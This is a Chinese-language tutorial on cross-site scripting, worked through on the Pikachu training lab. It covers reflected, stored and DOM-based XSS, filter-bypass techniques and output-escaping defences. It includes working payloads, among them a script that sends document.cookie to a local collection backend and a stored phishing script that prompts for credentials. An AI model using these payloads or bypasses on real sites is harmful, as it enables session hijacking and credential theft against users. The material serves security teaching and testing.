跨站腳本漏洞概述

Cross-Site Scripting 簡稱為“CSS”，為避免與前端疊成樣式表的縮寫"CSS"沖突，故又稱XSS，一般XSS可以分為如下幾種常見型別：
1.反射性XSS;
2.存盤型XSS;
3.DOM型XSS;

XSS漏洞一直是web漏洞中比較危害大的漏洞，在OWASP TOP10的排名一直處于前三的江湖地位，
XSS是一種發生在前端瀏覽器端的漏洞，所以其危害的物件也是前端用戶，
形成XSS漏洞的主要原因是程式對輸入和輸出沒有做合適的處理，導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼決議執行從而產生危害，
因此在XSS漏洞的防范上，一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾：對輸入進行過濾，不允許可能導致XSS攻擊的字符輸入;
輸出轉義：根據輸出點的位置對輸出到前端的內容進行適當轉義;
XSS 漏洞可以進行釣魚攻擊、用戶cookie獲取、前端js挖礦，甚至可以結合瀏覽器自身漏洞對用戶主機進行遠程控制

跨站腳本漏洞型別及測驗流程

1.跨站腳本漏洞型別
（1）反射型xss
互動的資料一般不會存在資料庫，一次性，一般出現在查詢頁面
（2）存盤型xss
互動的資料會存在資料庫中，永久性存盤，危害較大，一般出現在注冊、留言板等頁面
（3）Dom型xss
不與后臺進行互動，是一種通過dom操作前端代碼輸出的時候產生的問題，也是屬于一次性的，
2.測驗流程
要先了解XSS的測驗流程，首先我們需要先了解XSS的攻擊流程，
最主要的就是因為程式對輸入和輸出的控制不夠嚴格，導致腳本輸入后，在前端被當成有效代碼決議執行當作危害，
那么，我們的測驗流程也就有思路了
（1）我們首先在目標站點找到輸入點，比如查詢介面，留言板之類的，
（2）輸入一組特殊的字符+唯一識別字符，來看它原始碼，是否有對應的處理
（3）通過搜索定位到唯一字符后，結合唯一字符前后語法是否可以構成執行js的條件，也就是構造閉合
（4）提交構造的腳本代碼以及各種繞過姿勢，看看是否能執行，如果行，就說明存在XSS漏洞，

反射型XSS（post&get）

我們通過Picachu靶場來看看，xss到底是什么，

根據我們前面的測驗流程，我們首先輸入一些特殊字符和唯一識別字符，我們來看看，

我們在輸入框輸入以后，點擊提交

根據我們的思路，來看一下頁面的原始碼
通過輸入唯一識別字符，我們能看到我們輸入的東西被輸出到了P標簽中

我們輸入的東西好像被原封不動的輸出出來了，那么，假如我們輸入一段java script的代碼，它還是會原封不動的輸出嘛？
我們來試試
我們在輸入框輸入一段Java Script的代碼

點擊提交

沒錯，那這就說明存在XSS漏洞，這就是一個反射型的XSS，
我們來看它的原始碼

我們輸入的東西被原封不動的輸出了出來，

存盤型XSS

存盤型的XSS與反射型的XSS一樣，但它是將腳本存在了后臺儲存起來，構成更持久的危害，也稱為永久性xss
話不多說，我們用實體來看

按照慣例，在留言框中輸入特殊字符+唯一識別

提交之后，發現它會一直存在在那里

然后，我們接著輸入一段Java script的代碼，來看看效果如何，

提交之后，發現彈窗，當我們重繪頁面的時候，會發現，會一直彈窗

我們查看原始碼，還是沒有做任何的處理，

Dom型XSS

在這之前，我們先來了解一下什么是Dom，
DOM 是一項 W3C (World Wide Web Consortium) 標準，

DOM 定義了訪問檔案的標準：

“W3C 檔案物件模型（DOM）是中立于平臺和語言的介面，它允許程式和腳本動態地訪問、更新檔案的內容、結構和樣式，”
W3C DOM 標準被分為 3 個不同的部分：

·Core DOM - 所有檔案型別的標準模型
·XML DOM - XML 檔案的標準模型
·HTML DOM - HTML 檔案的標準模型

而html dom是HTML 的標準物件模型和編程介面
換句話來說，HTML DOM 是關于如何獲取、更改、添加或洗掉 HTML 元素的標準

HTML DOM 方法是能夠（在 HTML 元素上）執行的動作，
HTML DOM 屬性是能夠設定或改變的 HTML 元素的值，

也就是說dom就是一個前端介面，不與后臺互動

打開我們的Picachu
在DOM型xss中輸入框輸入1111，點擊click me！

接著我們查看源代碼，看看它是怎么處理的

這段Java script的代碼，我們看看是什么意思
首先它使用dom里面的document.getElementById獲取到了id=text的值
text 就是下面input 也就是我們輸入的內容，，
然后通過dom的操作，將我們輸入的內容拼接在了a標簽的href屬性中
接著a標簽會寫在id=dom的div標簽中

閑話不多說
我們來看看怎么搞
通過分析代碼，我們發現我們輸入的東西是str，而str又拼接在A標簽中，這樣的話，我們就有思路了
通過將前面A標簽閉合，來構造一個惡意代碼

可以看到它代碼就是

然后我們來閉合它
<a href = ’ 'οnclick=“alert(‘xss’)”> '>what do you see
簡單來說就是單引號閉合前面那個單引號
尖括號閉合a標簽
中間再來一個彈窗
然后把我們自己寫的拿出來
'οnclick=“alert(‘xss’)”>
我們來輸入試試

按照我們之前的思路，我們輸入的東西會被拼接到a標簽中，然后它不做處理的話，就會執行我們的代碼，也就是onclick的話，會彈窗
點擊what do you see后

這樣的話，它就是存在DOM型的xss漏洞

我們來看下一個

同樣是在輸入框輸入1111點擊

它彈出了一段話
我們看看它網頁的源代碼

同樣是有一段Java script的代碼
簡單分析一下
它會將URL中傳參的內容獲取到，然后通過一個url的解碼，獲取到輸入內容并賦值給xss
然后將變數xss寫入a標簽的href屬性中
這樣的話，我們的思路和剛剛一樣
同樣是閉合a標簽構造代碼

還是輸入我們剛剛的腳本
'οnclick=“alert(‘xss’)”>

點擊以后

這里我們要注意的是
上面url里的東西

http://127.0.0.1/pikachu-master/vul/xss/xss_dom_x.php?text=+%27onclick%3D%22alert%28%27xss%27%29%22%3E#

如果將這段url發送給受害者，那么當他點擊連接的時候，就會執行我們構造的惡意的Java script代碼了，

大家也可以去試試別的代碼

xss-獲取cookie

我們先來了解一下get型xss利用
在用戶訪問xss頁面后，觸發腳本，然后會回傳帶有惡意js的頁面
然后用戶執行腳本，攻擊者就會獲取到cookie，然后偽造用戶登錄，造成破壞，

我們首先在下面的管理工具中搭建好要接收的cookie的后臺

要將pkxss單獨放在WWW目錄下（pkxss是一個可以單獨使用的后臺）
接著我們修改config.inc.php中資料庫的密碼，與我們的資料庫保持一致

安裝好以后

有三個功能

回到網站，我們根據之前的邏輯
當用戶訪問存在xss漏洞的站點，會觸發腳本，回傳帶有惡意的js的頁面
我們就可以執行腳本，獲取到用戶的cookie
獲取到的cookie呢，就在我們的pkxss網站中

這里要說一說這個網站的原始碼了

大致就是先用get方式獲取cookie
然后將網站重定向到一個新的可信的網站

這個就是將接受到的cookie進行一個查詢輸出

回到我們的get型xss中
我們之前做過，如果我們輸入一段Java script的alert代碼的話，就會進行一個彈窗
那么，我們這次輸出一個更加復雜的payload

<script>document.location = 'http://127.0.0.1/pkxss/xcookie/cookie.php?cookie='
+document.cookie;</script>

我們通過獲取到cookie并且傳到pkxss中

首先將這個文本框長度修改一下

然后我們輸入那段代碼

點擊提交之后，發現回傳到了127.0.0.1首頁

接著我們來看一下后臺

這樣的話，我們就接受到了用戶的cookie
接著我們將referer里的url復制，打開一個新的頁面
發現它會直接跳到首頁，并且在后臺也會獲取到它的cookie

這就是簡單的利用xss獲取用戶cookie

xss-進行釣魚

我們之間說過，反射型和存盤型一樣，只不過一個是一次性的，一個是永久儲存的
和反射型一個思路
那么我們就來試試存盤型來如何釣魚

還是打開pikachu，存盤型的頁面

在我們pkxss中有一個xfish，里面有三個代碼

我們都看一下，
第一個

簡單理解一下，就是會給出一個認證框
然后獲取用戶輸入的資料

第二個

這個就是獲取到用戶的資訊

第三個

和之前獲取cookie一樣，來查看獲取到的資訊

按照之前的思路，我們來寫一個payload

<script src="http://127.0.0.1/pkxss/xfish/fish.php"></script>

在留言版中寫下我們的代碼
然后點擊提交

它就會提示讓用戶輸入用戶名和密碼
如果我們輸入后點確定的話，后臺就會接受到，

xss盲打

什么是xss的盲打呢
就是說從前端無法判斷是否存在xss
只有后臺會看到前端輸入的東西
我們用pikachu來試試

我們首先輸入資料

然后提交

我們前端并不會看到

再試試我們之前的Java script代碼

還是沒有反應

那我們登錄管理員后臺看看，點一下提示

然后我們登錄
彈窗了！

說明后臺沒有對輸入的東西進行判斷
管理員登錄以后還是會被X
這種危害還是很大的
如果輸入一段惡意的代碼
就可以獲取到管理員的cookie
那么 就可以偽造管理員登錄了，

xss的過濾和繞過

我們還是用之前方式打一遍

提交它

發現我們輸入的script被過濾掉了，說明它后臺對script進行了處理
那怎么辦
我們嘗試一下大小寫混合輸入script

發現彈窗了，說明繞過了它的驗證

這里總結一下幾種場景

1.前端繞過：
我們可以抓包重放，或者直接修改html前端代碼
2.大小寫：
有些措施會過濾掉你輸入的代碼，比如正則匹配
或者用一些查找的函式找到你的惡意代碼
可以嘗試大小寫混合輸入
3.拼湊：
有些后臺會把script這些東西進行替換，但有些邏輯只會拼湊一次
比如：

<sc<script>ript>alert('xss')</scr<script>ipt>

他會把中間的script給替換掉
但是剩下的依然是script
4.注釋干擾：
還是舉個例子

<scr<!?-test>ipt>alert('xss')</scr<!?-test>ipt>

在前端的時候，被注釋掉了
但是后臺不認識它，不會認為它是script的標簽，從而繞過
5：編碼
后臺會對特殊字符過濾，但是不一定認識編碼后的東西
但是在編碼的時候，要注意編碼在前端輸出的時候能被正常翻譯，否則不行，

xss-htmlspecialchars

htmlspecialchars函式是把預定義的字符轉化為html物體

我們依然是之前的方法，特殊字符、唯一識別字符

提交之后

接著 我們看看原始碼

對一些特殊字符進行了處理，但是常規的specialchars函式不對單引號做出了
我們來寫一個payload

提交之后 點擊

xss輸出在href和js中的案例

href中：

我們還是之前的邏輯，以此測驗一遍
接著就是Javascript代碼

還是不彈窗，我們來分析一下原始碼

之前的specialchars方法，這次還把單引號也給處理了
那怎么辦呢
其實，輸出在a標簽的href屬性里面,可以使用javascript協議來執行js
我們來執行一下這個payload

提交之后，點擊下面的鏈接

彈窗成功！
那怎么預防呢，我們可以對輸入的東西做要求
例如只輸入http之類的 然后再用specialchars處理
js中：

提交

接受是在script中

我們來構造一個閉合

'</script><script>alert( 'xss')</script>

提交之后

彈窗成功！

這里講輸入動態的生成到了js中,形成xss
Javascript里面是不會對tag和字符物體進行解釋的,所以需要進行js轉義

講這個例子主要是為了讓你明白,輸出點在js中的xss問題,應該怎么修?
這里如果進行html的物體編碼,雖然可以解決XSS的問題,但是物體編碼后的內容,在JS里面不會進行翻譯,這樣會導致前端的功能無法使用，
所以在JS的輸出點應該使用\對特殊字符進行轉義

xss的防范措施

總原則：
輸入做過濾，輸出做轉義

過濾：比如對輸入的東西做要求，如輸入手機號，只能輸入數字
轉義∶所有輸出到前端的資料都根據輸出點進行轉義，比如輸出到html中進行html物體轉義，輸入到JS里面的進行js轉義，